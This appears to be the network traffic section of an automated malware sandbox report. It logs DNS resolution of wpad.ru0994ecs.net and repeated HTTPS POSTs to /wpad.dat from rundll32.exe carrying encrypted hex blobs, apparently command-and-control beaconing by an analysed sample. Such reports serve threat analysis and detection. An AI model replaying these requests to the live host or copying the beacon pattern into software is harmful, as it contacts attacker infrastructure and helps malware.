Apr 16, 2024 23:05:17.012216091 CEST	443	49902	104.21.62.151	192.168.2.4
Apr 16, 2024 23:05:17.408531904 CEST	443	49902	104.21.62.151	192.168.2.4
Apr 16, 2024 23:05:17.408668041 CEST	443	49902	104.21.62.151	192.168.2.4
Apr 16, 2024 23:05:17.408674955 CEST	49902	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:05:17.408730030 CEST	49902	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:05:17.420845985 CEST	49902	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:05:17.420866013 CEST	443	49902	104.21.62.151	192.168.2.4
Apr 16, 2024 23:05:18.595715046 CEST	49903	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:05:18.595765114 CEST	443	49903	104.21.62.151	192.168.2.4
Apr 16, 2024 23:05:18.595897913 CEST	49903	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:05:18.596684933 CEST	49903	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:05:18.596702099 CEST	443	49903	104.21.62.151	192.168.2.4
Apr 16, 2024 23:05:18.821130991 CEST	443	49903	104.21.62.151	192.168.2.4
Apr 16, 2024 23:05:18.825139046 CEST	49903	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:05:18.829119921 CEST	49903	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:05:18.829134941 CEST	443	49903	104.21.62.151	192.168.2.4
Apr 16, 2024 23:05:18.834796906 CEST	49903	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:05:18.834804058 CEST	443	49903	104.21.62.151	192.168.2.4
Apr 16, 2024 23:05:19.181940079 CEST	443	49903	104.21.62.151	192.168.2.4
Apr 16, 2024 23:05:19.182043076 CEST	49903	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:05:19.182070971 CEST	443	49903	104.21.62.151	192.168.2.4
Apr 16, 2024 23:05:19.182097912 CEST	443	49903	104.21.62.151	192.168.2.4
Apr 16, 2024 23:05:19.182121992 CEST	49903	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:05:19.182158947 CEST	49903	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:05:19.182224035 CEST	49903	443	192.168.2.4	104.21.62.151
Apr 16, 2024 23:05:19.182239056 CEST	443	49903	104.21.62.151	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 16, 2024 23:02:17.418486118 CEST	56624	53	192.168.2.4	1.1.1.1
Apr 16, 2024 23:02:17.554924011 CEST	53	56624	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 16, 2024 23:02:17.418486118 CEST	192.168.2.4	1.1.1.1	0xb3d6	Standard query (0)	wpad.ru0994ecs.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 16, 2024 23:02:17.554924011 CEST	1.1.1.1	192.168.2.4	0xb3d6	No error (0)	wpad.ru0994ecs.net		104.21.62.151	A (IP address)	IN (0x0001)	false
Apr 16, 2024 23:02:17.554924011 CEST	1.1.1.1	192.168.2.4	0xb3d6	No error (0)	wpad.ru0994ecs.net		172.67.136.183	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

wpad.ru0994ecs.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:17 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 538 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:17 UTC	538	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 61 65 35 39 39 65 63 61 32 34 30 61 31 32 64 33 33 33 64 62 32 32 61 61 63 63 64 37 34 32 37 36 65 31 36 62 37 35 64 65 65 34 64 36 33 31 61 31 36 65 34 35 63 62 35 32 61 30 66 62 32 39 37 39 36 66 33 61 63 64 39 62 31 65 36 65 39 31 36 39 66 66 65 62 61 64 32 62 64 33 35 34 34 65 65 39 33 37 64 31 36 32 63 32 61 33 39 31 65 31 62 38 33 30 65 38 64 64 35 32 62 31 34 62 36 35 64 32 65 36 38 63 34 32 39 34 38 38 38 31 65 33 37 63 39 32 61 61 62 35 65 35 37 65 35 64 31 31 39 66 62 38 39 37 65 65 33 34 37 61 62 62 31 35 64 64 65 63 31 32 31 39 31 64 66 64 34 38 31 34 32 65 64 61 32 66 61 62 66 35 66 62 61 39 65 35 34 61 63 35 37 62 66 66 39 63 34 61 38 37 63 35 64 Data Ascii: 6e79cca458791cc084479c3b18404b87ae599eca240a12d333db22aaccd74276e16b75dee4d631a16e45cb52a0fb29796f3acd9b1e6e9169ffebad2bd3544ee937d162c2a391e1b830e8dd52b14b65d2e68c42948881e37c92aab5e57e5d119fb897ee347abb15ddec12191dfd48142eda2fabf5fba9e54ac57bff9c4a87c5d
2024-04-16 21:02:18 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZUTZOwKyxjGIPrc3oWHo97YymZ%2F3sLtzCnFfRbbshAUZYplhsxrIS868xb65bhSBShecCrZhEzDaZ%2B8duVV7qEd9ZuP7%2FrsL%2F732Hdm80F3Dfidr6hkZrruy%2BnvfFkSfqvVInhY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571d92b8bb0c55-ATL
2024-04-16 21:02:18 UTC	58	IN	Data Raw: 33 34 0d 0a 64 33 61 64 38 42 67 48 65 76 6e 79 5a 36 73 66 52 79 30 38 39 74 39 48 68 73 51 6b 41 78 53 74 49 62 73 73 6f 4c 44 5a 49 67 75 54 58 67 79 2f 7a 2f 51 51 0d 0a Data Ascii: 34d3ad8BgHevnyZ6sfRy089t9HhsQkAxStIbssoLDZIguTXgy/z/QQ
2024-04-16 21:02:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49730	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:17 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 538 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:17 UTC	538	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 61 65 35 39 39 65 63 61 32 34 30 61 31 32 64 33 33 33 64 62 32 32 61 61 63 63 64 37 34 32 37 36 65 31 36 62 37 35 64 65 65 34 64 36 33 31 61 31 36 65 34 35 63 62 35 32 61 30 66 62 32 39 37 39 36 66 33 61 63 64 39 62 31 65 36 65 39 31 36 39 66 66 65 62 61 64 32 62 64 33 35 34 34 65 65 39 33 37 64 31 36 32 63 32 61 33 39 31 65 31 62 38 33 30 65 38 64 64 35 32 62 31 34 62 36 35 64 32 65 36 38 63 34 32 39 34 38 38 38 31 65 33 37 63 39 32 61 61 62 35 65 35 37 65 35 64 31 31 39 66 62 38 39 37 65 65 33 34 37 61 62 62 31 35 64 64 65 63 31 32 31 39 31 64 66 64 34 38 31 34 32 65 64 61 32 66 61 62 66 35 66 62 61 39 65 35 34 61 63 35 37 62 66 66 39 63 34 61 38 37 63 35 64 Data Ascii: 6e79cca458791cc084479c3b18404b87ae599eca240a12d333db22aaccd74276e16b75dee4d631a16e45cb52a0fb29796f3acd9b1e6e9169ffebad2bd3544ee937d162c2a391e1b830e8dd52b14b65d2e68c42948881e37c92aab5e57e5d119fb897ee347abb15ddec12191dfd48142eda2fabf5fba9e54ac57bff9c4a87c5d
2024-04-16 21:02:18 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BZU0A3Gm8GKdwtJi4MSW4JC%2FgqD7HeWbizzjzzUhOjmN0cE69ScOqEFEHvfQRIx36GFwS9MH%2FBi6Xr%2ByXh9QrTmJm%2B7yQU9kRDbUzpEjbcZzqu9Fsztvzu%2FQHVmlzyhYQ6m8JkU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571d92bddb8bb9-ATL
2024-04-16 21:02:18 UTC	58	IN	Data Raw: 33 34 0d 0a 64 33 61 64 38 42 6b 48 65 76 50 72 59 36 56 2b 49 53 51 6c 35 4c 74 4b 67 63 41 33 43 47 33 66 4a 61 39 65 32 38 32 30 4a 58 33 31 49 41 7a 4b 77 4f 39 74 0d 0a Data Ascii: 34d3ad8BkHevPrY6V+ISQl5LtKgcA3CG3fJa9e2820JX31IAzKwO9t
2024-04-16 21:02:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:18 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:18 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:18 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yfLIxhUtjQgGqQ9ueZTZXAltKOBVAVMAU1F95qVmixIjO5F7%2FaYKo4SJRGowBYamVA26BA1dnPVs%2Bl8Bo7YYJVrXy%2Bg7MGhmQDbY1DDAfN%2F7Fa8B0d40j7LrIT7i51jCoBpLUJM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571d965b086773-ATL
2024-04-16 21:02:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:18 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:18 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:18 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q7RDqXlFYBFY48SNYKGkvXEAXJg1eL%2Fm63nOuLLdTCjnEALumXHX6Ap6CPexLlNsvqEP1RKiRes7z7EjE09S%2FDuuBWWX2jUzahY31wIB%2Fym45erCQpLeyFJc9%2FjkPBjQLzdFiK8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571d96ef071d6c-ATL
2024-04-16 21:02:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:20 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 538 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:20 UTC	538	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 61 65 35 39 39 65 63 61 32 34 30 61 31 32 64 33 33 33 64 62 32 32 61 61 63 63 64 37 34 32 37 36 65 31 36 62 37 35 64 65 65 34 64 36 33 31 61 31 36 65 34 35 63 62 35 32 61 30 66 62 32 39 37 39 36 66 33 61 63 64 39 62 31 65 36 65 39 31 36 39 66 66 65 62 61 64 32 62 64 33 35 34 34 65 65 39 33 37 64 31 36 32 63 32 61 33 39 31 65 31 62 38 33 30 65 38 64 64 35 32 62 31 34 62 36 35 64 32 65 36 38 63 34 32 39 34 38 38 38 31 65 33 37 63 39 32 61 61 62 35 65 35 37 65 35 64 31 31 39 66 62 38 39 37 65 65 33 34 37 61 62 62 31 35 64 64 65 63 31 32 31 39 31 64 66 64 34 38 31 34 32 65 64 61 32 66 61 62 66 35 66 62 61 39 65 35 34 61 63 35 37 62 66 66 39 63 34 61 38 37 63 35 64 Data Ascii: 6e79cca458791cc084479c3b18404b87ae599eca240a12d333db22aaccd74276e16b75dee4d631a16e45cb52a0fb29796f3acd9b1e6e9169ffebad2bd3544ee937d162c2a391e1b830e8dd52b14b65d2e68c42948881e37c92aab5e57e5d119fb897ee347abb15ddec12191dfd48142eda2fabf5fba9e54ac57bff9c4a87c5d
2024-04-16 21:02:20 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5Aif%2BR471PrMwGh%2FJQhfkpkXZ97rKTzjllOrpqNyWhN5L7VRwvjlEoCNt3G7PSsbUUSLVGgbIadFCQGq1X9HV8D6qvqhiU3w%2FzJp4oqrnKqc%2F7oSEeVzTsyOvrZ1rXPZYHhVY%2BE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571da39ad3ad88-ATL
2024-04-16 21:02:20 UTC	58	IN	Data Raw: 33 34 0d 0a 64 33 61 64 38 42 38 48 65 6f 37 31 64 37 6b 46 4f 79 68 48 39 71 30 78 6d 63 70 65 63 6d 57 6a 4a 61 5a 64 75 37 32 71 57 58 62 7a 52 32 36 75 77 66 4d 65 0d 0a Data Ascii: 34d3ad8B8Heo71d7kFOyhH9q0xmcpecmWjJaZdu72qWXbzR26uwfMe
2024-04-16 21:02:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:21 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:21 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:21 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O4Dq5CyJS3YI4UakO42ULwtnYUZlujOK3cjnrrn6gHQL4goCuOhkBsrIexyHIGtO2Ue4hFDhu3sByqypQCtDYyAnC%2B4lT9JWwkZc8y2k6%2FXcHSg6rgZe%2BesfpotFFYZa0baGcDY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571da78a114589-ATL
2024-04-16 21:02:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:23 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:23 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:23 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8pGFfFHEGaYTTbMBdzTAw%2BUOJqDXSxAZvJodtNDMcQJWzbamF2U%2Fo6UKHCKsEScmy%2F2x2Yk96Gi4tQzwq1nY94eJkhK8odp0F7lrsKNdhTubJ8rnRkZcQygmNNs5mzuPNyW9Nl8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571db33ed2454b-ATL
2024-04-16 21:02:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:23 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:23 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:23 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zupcSCLM8YQrCPqmjJ%2Bab0RW0YJ6U7Ln0%2Bs0cPc4dGAhZQK6sUfm0AegUoAvSOXbdLCnFIu5O3brQ683JBULZkerbY7Eh85Y5HPRMTRCZvKV6A40XWsxl5oh3Y8aaUUSPoIE55s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571db3fdeb8bb8-ATL
2024-04-16 21:02:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49738	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:26 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:26 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:27 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NB7bUQt%2Fb8euuurWkxSFmXG9HjP1W66IFprtxezm2NdxuYLo4Mp1RB4fvmFAQOd95HprPeMElMwG%2FOQUYGeZ%2BRWgOM0QvZLRavyEd4TaTzhpIRMHLo%2FuSy82C42wqiqA%2Fmp58v8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571dca9840136d-ATL
2024-04-16 21:02:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49739	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:27 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:27 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:28 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UlxGH76EjxkpPlDm4fxLLEkJJD%2Buw55oypwetL8Ft97QqiRAcUTds3zmsRtAgfb4iCPn9JdMsG0xzso%2B5vrPp0toiAI23DdviLeu2DudR3jmWjjAsSVD3g1do37%2BCOkG1kMjMJM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571dcfebd06751-ATL
2024-04-16 21:02:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49740	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:27 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
